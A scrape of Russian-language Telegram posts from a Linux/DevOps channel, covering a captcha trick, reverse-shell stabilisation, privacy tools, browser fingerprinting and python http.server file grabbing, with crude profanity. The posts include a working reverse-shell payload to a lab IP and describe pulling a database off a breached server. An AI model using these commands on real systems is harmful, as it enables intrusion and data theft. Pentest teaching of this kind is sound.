VIEW IN TELEGRAM
Как прокачать Minecraft сервер с помощью Angie
Накидал пост о том, как мы мигрировали minecraft сервер на выделенный сервер и защитились от ботов с помощью Angie, просто и эффективно.
Сюда по классике не влезло, всё в блоге 👇
Читать: https://two.su/bieb4
🛠 #angie #devops #security
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Накидал пост о том, как мы мигрировали minecraft сервер на выделенный сервер и защитились от ботов с помощью Angie, просто и эффективно.
Сюда по классике не влезло, всё в блоге 👇
Читать: https://two.su/bieb4
—
Please open Telegram to view this post
VIEW IN TELEGRAM
5 50
Я тут это, капчу накрутил. Создавал под один нищенский нишевый проект.
😲 Сможешь пройти?
ㅤ
Подсказываю — можно накидать bash скрипт, который будет эмулировать нажатие F24 и успешно пройти эту проверку через передачу кейкода в
Концепт на Bash:
Всем хорошей рабочей недели!
🛠 #security #feature #dev
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
Подсказываю — можно накидать bash скрипт, который будет эмулировать нажатие F24 и успешно пройти эту проверку через передачу кейкода в
xdotool. Ну либо клавиатуру купить как на картинке.Концепт на Bash:
for i in $(seq 1 50); do
xdotool key F24
sleep 1
done
Всем хорошей рабочей недели!
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
5 68
Стабилизация реверс-шелла
Во время создания реверс шелла, управлять этим шеллом прям больно, привычные терминальные команды работают неадекватно. Сейчас покажу, как пентестеры приводят такой шелл к нормальному виду.
ㅤ
Для начала на своей машине запускаем:
Этой командой мы откроем порт
Теперь на подопытной машине запускаем:
Возвращаемся на свою машину и видим, что коннект произошел:
Отлично. Пробуем нажать
Стабилизируем shell
Отправляем консоль в бекграунд, нажимаем
Возвращаемся:
Нажимаем:
На этом всё! Теперь наш реверс-шелл полностью стабилен, можем пользоваться им в своё удовольствие, все привычные команды и сочетания работают отлично, артефакты не лезут.
Вроде мелочь, но в своё время кровушки многим попило, да чё юлить, сейчас молодежь которая встала на путь поиска уязвимостей с этим постоянно сталкивается. И что интересно на курсах про «стабилизацию шелла» никогда не рассказывают.
Вот такие пироги, изучай. Больше про реверс-шеллы, можешь почитать тут:
- Практикуем reverse-shells
- Генератор reverse-shells
🛠 #security #linux
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Во время создания реверс шелла, управлять этим шеллом прям больно, привычные терминальные команды работают неадекватно. Сейчас покажу, как пентестеры приводят такой шелл к нормальному виду.
ㅤ
Для начала на своей машине запускаем:
nc -lvnp 2288
Этой командой мы откроем порт
2288 на прослушивание, будем ждать входящее соединение. IP этой машины у меня 192.168.10.24.Теперь на подопытной машине запускаем:
/bin/bash -i >& /dev/tcp/192.168.10.24/2288 0>&1
Возвращаемся на свою машину и видим, что коннект произошел:
root@n8n:~# nc -lvnp 2288
Listening on 0.0.0.0 2288
Connection received on 192.168.10.31 47504
root@onlyoffice:~#
Отлично. Пробуем нажать
CTRL+L, для очистки экрана. Ага, хуй там плавал, видим только, что выводятся управляемые символы L^, аналогично не получится нажать CTRL+C и т.п.Стабилизируем shell
script /dev/null -c /bin/bash
Отправляем консоль в бекграунд, нажимаем
CTRL+Zroot@onlyoffice:~# ^Z
[1]+ Stopped nc -lvnp 2288
Возвращаемся:
stty raw -echo; fg
Нажимаем:
ENTERexport TERM=xterm
На этом всё! Теперь наш реверс-шелл полностью стабилен, можем пользоваться им в своё удовольствие, все привычные команды и сочетания работают отлично, артефакты не лезут.
Вроде мелочь, но в своё время кровушки многим попило, да чё юлить, сейчас молодежь которая встала на путь поиска уязвимостей с этим постоянно сталкивается. И что интересно на курсах про «стабилизацию шелла» никогда не рассказывают.
Вот такие пироги, изучай. Больше про реверс-шеллы, можешь почитать тут:
- Практикуем reverse-shells
- Генератор reverse-shells
—
Please open Telegram to view this post
VIEW IN TELEGRAM
5 63
Интимность данных
Как мы знаем, любая операционная система что-то куда-то шлет, шпионит, собирает данные. Потом этими данными начинают жонглировать всякие мастодонты вроде гуглахлама, мягкософта, аппла и т.п.
ㅤ
В лучшем случае тебе покажут таргетированную рекламу, в худшем сольют по первому звоночку всю твою подноготную всяким секрет малдерам и фибиэрам. И узнаешь ты это не сразу, а спустя 2-3 года, а возможно и не узнаешь.
Возможно кто-то из вас получал подобные письма (Google received and responded to a legal process issued by the…) и знает это ощущение безысходности. Да, похоже на фейк (2018 года) и фишинг, но увы всё по настоящему. Поищи в сети если интересно, много таких случаев как оказалось.
Ебала рыба озеро!😲
Лишь только по этим причинам я полностью выпилился из гугла и его сервисов. Про этот большой пиздец-переезд я запилю отдельный пост, было очень познавательно и увлекательно, особенно со смартфоном. Ладно, теперь по теме поста.
Сегодня речь про Privacy Sexy. Кроссплатформенная забияка, с открытым git репозиторием и возможностью установить на машину как отдельное приложение либо использовать через веб.
Ты просто выбираешь нужные галочки, а справа получаешь готовые скрипты, которые нужно запустить. Да, под Linux и Mac это будут именно Bash скрипты. Это отличная возможность посмотреть в кишочки и забрать какие-то идеи в свои проекты.
Что внутри:
- Больше 5 сотен скриптов/настроек, которые уменьшают телеметрию, отключают лишние сервисы, усиливают безопасность и приватность.
- Есть графическое приложение (desktop) и веб-версия.
- Всё прозрачно — видно, что именно делает каждый твик/скрипт.
- Обратимость — можно откатить изменения (revert).
- Полный open-source, лицензия AGPL-3.0.
Важно и ценно — в отличие от рандомных «батников» из интернета, privacy.sexy показывает, какие именно изменения будут сделаны и генерирует скрипты прозрачно.
Пользуйся на здоровье, это лучше всяких бинарных твиков!
🛠 #security #privacy
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Как мы знаем, любая операционная система что-то куда-то шлет, шпионит, собирает данные. Потом этими данными начинают жонглировать всякие мастодонты вроде гуглахлама, мягкософта, аппла и т.п.
ㅤ
В лучшем случае тебе покажут таргетированную рекламу, в худшем сольют по первому звоночку всю твою подноготную всяким секрет малдерам и фибиэрам. И узнаешь ты это не сразу, а спустя 2-3 года, а возможно и не узнаешь.
Как говорил мой знакомый — да кому мы нужны, все наши данные давно уже гуляют по сети. Но когда он узнал, что гугол взял его учетку (со всем содержимым и метаданными) и просто отдал третьим лицам на изучение — начинаешь задумываться, причем становится по настоящему жутковато.
Возможно кто-то из вас получал подобные письма (Google received and responded to a legal process issued by the…) и знает это ощущение безысходности. Да, похоже на фейк (2018 года) и фишинг, но увы всё по настоящему. Поищи в сети если интересно, много таких случаев как оказалось.
Ебала рыба озеро!
Лишь только по этим причинам я полностью выпилился из гугла и его сервисов. Про этот большой пиздец-переезд я запилю отдельный пост, было очень познавательно и увлекательно, особенно со смартфоном. Ладно, теперь по теме поста.
Сегодня речь про Privacy Sexy. Кроссплатформенная забияка, с открытым git репозиторием и возможностью установить на машину как отдельное приложение либо использовать через веб.
Этот проект помогает включать/отключать privacy и security настройки в Windows / macOS / Linux с помощью готовых «твиков» и скриптов.
Ты просто выбираешь нужные галочки, а справа получаешь готовые скрипты, которые нужно запустить. Да, под Linux и Mac это будут именно Bash скрипты. Это отличная возможность посмотреть в кишочки и забрать какие-то идеи в свои проекты.
Что внутри:
- Больше 5 сотен скриптов/настроек, которые уменьшают телеметрию, отключают лишние сервисы, усиливают безопасность и приватность.
- Есть графическое приложение (desktop) и веб-версия.
- Всё прозрачно — видно, что именно делает каждый твик/скрипт.
- Обратимость — можно откатить изменения (revert).
- Полный open-source, лицензия AGPL-3.0.
Важно и ценно — в отличие от рандомных «батников» из интернета, privacy.sexy показывает, какие именно изменения будут сделаны и генерирует скрипты прозрачно.
Пользуйся на здоровье, это лучше всяких бинарных твиков!
Ну и не храни на гугол драйве своё хоум-видео с пылесос-отсосом, неровен час сам станешь звездой такого эпизода на которую однажды будут дрочить малдеры с дикого запада.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
10 58
Как тебя вычисляют по шрифтам
Гугловский пробив по кукисам это классика, но это не единственный механизм сопоставления. Сегодня рассмотрим browser fingerprint (fonts).
ㅤ
Пробежимся по кукисам.
Практически на каждом сайте, установлен анальный-зонд с маркировками: Google Analytics, Google Ads, YouTube embed, reCAPTCHA и т.п. То есть страница сайта подгружает внешние скрипты и код с доменов гугла.
Когда ты заходишь на такой сайт, браузер отправляет кукисы в гугол, в них будет информация: твой id (у тебя будет один и тот же для разных сайтов), с какого сайта ты пришел, ip, браузер, время, язык, локация и т.п.
Короче в эту клоаку уходит максимальное количество данных, которое можно от тебя получить. Ну а дальше тебе подсовывают рекламу — ага, этот чёрт читал про «ипотеку», давай заскамим его таргетированными предложениями про ипотеку.
Что же такое fonts fingerprint?
Это как тест ДНК, который даёт до 99% совпадения. Шрифт это как паспорт. У каждого пользователя свой, уникальный набор шрифтов. Даже если ты отключишь кукисы, у гугла есть другие инструменты для слежки: разрешение экранов, шрифты, webgl, canvas, timezone, ip + поведение.
Кстати «режим инкогнито» не спасёт, это — миф. В этом режиме браузер не сохраняет историю, не сохраняет кукисы после закрытия. ВСЁ! Куки это верхушка айсберга, все остальные методы скрыты под капотом.
Как работает классический font fingerprint:
Я подготовил страничку, в ней содержится как раз такой детект по шрифтам и канвасу. Открой её в браузере, а потом открой в «инкогнито» и ты сильно удивишься. Шрифты и хеш канваса будут идентичные.
Даже если открыть страницу в другом браузере, Canvas Hash в большинстве случаев будет идентичен. Для чистоты эксперимента, открой страничку в ТОR браузере и ты увидишь, что набор шрифтов поменялся, да и canvas hash протух.
Идея метода: берем текст, рисуем его с базовым шрифтом (serif / sans-serif), тестируемым шрифтом + fallback, сравниваем размеры, если размеры изменились — шрифт установлен в системе.
И по итогу мы имеем паспорт пользователя: шрифты = ОС + язык + софт. Шрифты меняются редко, уникальность очень высокая, не ломаются при включении VPN / Инкогнито.
А чё делать?
Использовать разные браузеры под разные задачи. Один браузер чисто для гугла (но рекомендую вообще снести учетку и сделать чисто под ютуб), второй для сёрфинга, третий для просмотра порнушки.
На рынке много антидетект браузеров, один из лидеров это LibreWolf. Этот браузер (Firefox на стероидах приватности) подсовывает одинаковый виртуальный набор, ломает измерения, возвращает одинаковые размеры, добавляешь шум.
LibreWolf не делает «рандом», он делает массовую «одинаковость». То есть условно у 100 пользователей, которые пользуются этим браузером, будут идентичные данные. А среди 100 таких пользователей, тебя сложно идентифицировать — ты одинаковый. Чем больше уникальности, тем легче тебя узнать.
Но ты всё равно спалишься, если залогинишься в гугле, либо будешь использовать этот браузер под разные задачи в рамках одной сессии.
Чтобы скрыться, одного браузера мало, приватность это комплексная мера. По мере моей лени, буду накидывать подобные темы и снимать с тебя розовые очки.
Ну а ты пока переваривай весь этот пиздец. Дальше затрем за Cloudflare и его приколы.
🛠 #security #privacy
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Гугловский пробив по кукисам это классика, но это не единственный механизм сопоставления. Сегодня рассмотрим browser fingerprint (fonts).
ㅤ
Пробежимся по кукисам.
Практически на каждом сайте, установлен анальный-зонд с маркировками: Google Analytics, Google Ads, YouTube embed, reCAPTCHA и т.п. То есть страница сайта подгружает внешние скрипты и код с доменов гугла.
Когда ты заходишь на такой сайт, браузер отправляет кукисы в гугол, в них будет информация: твой id (у тебя будет один и тот же для разных сайтов), с какого сайта ты пришел, ip, браузер, время, язык, локация и т.п.
Короче в эту клоаку уходит максимальное количество данных, которое можно от тебя получить. Ну а дальше тебе подсовывают рекламу — ага, этот чёрт читал про «ипотеку», давай заскамим его таргетированными предложениями про ипотеку.
Если ты залогинен в гугле и гуляешь в этом же браузере по другим сайтам — гугл это знает. Мало того, при любом звоночке, он без раздумий передаст эту информацию «малдерам».
Звучит как сказка, но у гугла есть статистика сколько они слили данных по таким запросам. И да, когда ты с закрытыми глазами принимал «лицензионное соглашение», в нём все это оговаривалось.
Что же такое fonts fingerprint?
Это как тест ДНК, который даёт до 99% совпадения. Шрифт это как паспорт. У каждого пользователя свой, уникальный набор шрифтов. Даже если ты отключишь кукисы, у гугла есть другие инструменты для слежки: разрешение экранов, шрифты, webgl, canvas, timezone, ip + поведение.
Кстати «режим инкогнито» не спасёт, это — миф. В этом режиме браузер не сохраняет историю, не сохраняет кукисы после закрытия. ВСЁ! Куки это верхушка айсберга, все остальные методы скрыты под капотом.
Fingerprint это корреляция десятков сигналов во времени.
Как работает классический font fingerprint:
Я подготовил страничку, в ней содержится как раз такой детект по шрифтам и канвасу. Открой её в браузере, а потом открой в «инкогнито» и ты сильно удивишься. Шрифты и хеш канваса будут идентичные.
Даже если открыть страницу в другом браузере, Canvas Hash в большинстве случаев будет идентичен. Для чистоты эксперимента, открой страничку в ТОR браузере и ты увидишь, что набор шрифтов поменялся, да и canvas hash протух.
Идея метода: берем текст, рисуем его с базовым шрифтом (serif / sans-serif), тестируемым шрифтом + fallback, сравниваем размеры, если размеры изменились — шрифт установлен в системе.
И по итогу мы имеем паспорт пользователя: шрифты = ОС + язык + софт. Шрифты меняются редко, уникальность очень высокая, не ломаются при включении VPN / Инкогнито.
fonts + canvas + webgl ≈ уникальность > 99%
А чё делать?
Использовать разные браузеры под разные задачи. Один браузер чисто для гугла (но рекомендую вообще снести учетку и сделать чисто под ютуб), второй для сёрфинга, третий для просмотра порнушки.
На рынке много антидетект браузеров, один из лидеров это LibreWolf. Этот браузер (Firefox на стероидах приватности) подсовывает одинаковый виртуальный набор, ломает измерения, возвращает одинаковые размеры, добавляешь шум.
Отключает webgl fingerprint, режет canvas, нормализует timezone, screen size, locale, отключает webrtc leak, блокирует third-party cookies, выключает телеметрию Mozilla, ломает high-entropy сигналы, всегда врёт одинаково.
LibreWolf не делает «рандом», он делает массовую «одинаковость». То есть условно у 100 пользователей, которые пользуются этим браузером, будут идентичные данные. А среди 100 таких пользователей, тебя сложно идентифицировать — ты одинаковый. Чем больше уникальности, тем легче тебя узнать.
Но ты всё равно спалишься, если залогинишься в гугле, либо будешь использовать этот браузер под разные задачи в рамках одной сессии.
Чтобы скрыться, одного браузера мало, приватность это комплексная мера. По мере моей лени, буду накидывать подобные темы и снимать с тебя розовые очки.
Ну а ты пока переваривай весь этот пиздец. Дальше затрем за Cloudflare и его приколы.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
4 82
Как быстро скачать файл с сервера
ㅤ
Бывает ситуация, когда тебе нужно быстренько дернуть какой-то файл с сервера, но там нет ни nginx ни т.п. херни. Вспоминать синтаксис scp и ебаться с ключами тоже не хочется. Тем более для такой задачи ставить софт — ну такое себе.
Из ситуации можно выйти проще.
Заходим в любую папку с файлами и запускаем:
Если питон старый, потрёпанный и сморщенный как хуй, делаем так:
Затем курлим файл и скачиваем его к себе на машину:
А можем прям в браузере открыть URL и увидеть список всех файлов, кликаем мышкой и скачиваем необходимое.
Еще бывают случаи когда
Ну и в конце, когда получил желаемое, не забывай остановить такой веб-сервер. Изучай!
🛠 #security #linux #tricks
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
Бывает ситуация, когда тебе нужно быстренько дернуть какой-то файл с сервера, но там нет ни nginx ни т.п. херни. Вспоминать синтаксис scp и ебаться с ключами тоже не хочется. Тем более для такой задачи ставить софт — ну такое себе.
Из ситуации можно выйти проще.
Этот способ в основном используют спец-люди, которые в результате blackbox вектора проникли на север и им нужно утащить жирненькую базу данных. Всё элементарно.
Заходим в любую папку с файлами и запускаем:
python -m http.server 2977
Если питон старый, потрёпанный и сморщенный как хуй, делаем так:
python -m SimpleHTTPServer 2977
Затем курлим файл и скачиваем его к себе на машину:
curl -O http://linuxfactory.ru:2977/bashdays_db.zip
А можем прям в браузере открыть URL и увидеть список всех файлов, кликаем мышкой и скачиваем необходимое.
Еще бывают случаи когда
curl не установлен, но wget есть из коробки:wget -O bashdays_db.zip http://linuxfactory.ru:2977/bashdays_db.zip
Ну и в конце, когда получил желаемое, не забывай остановить такой веб-сервер. Изучай!
—
Please open Telegram to view this post
VIEW IN TELEGRAM
3 72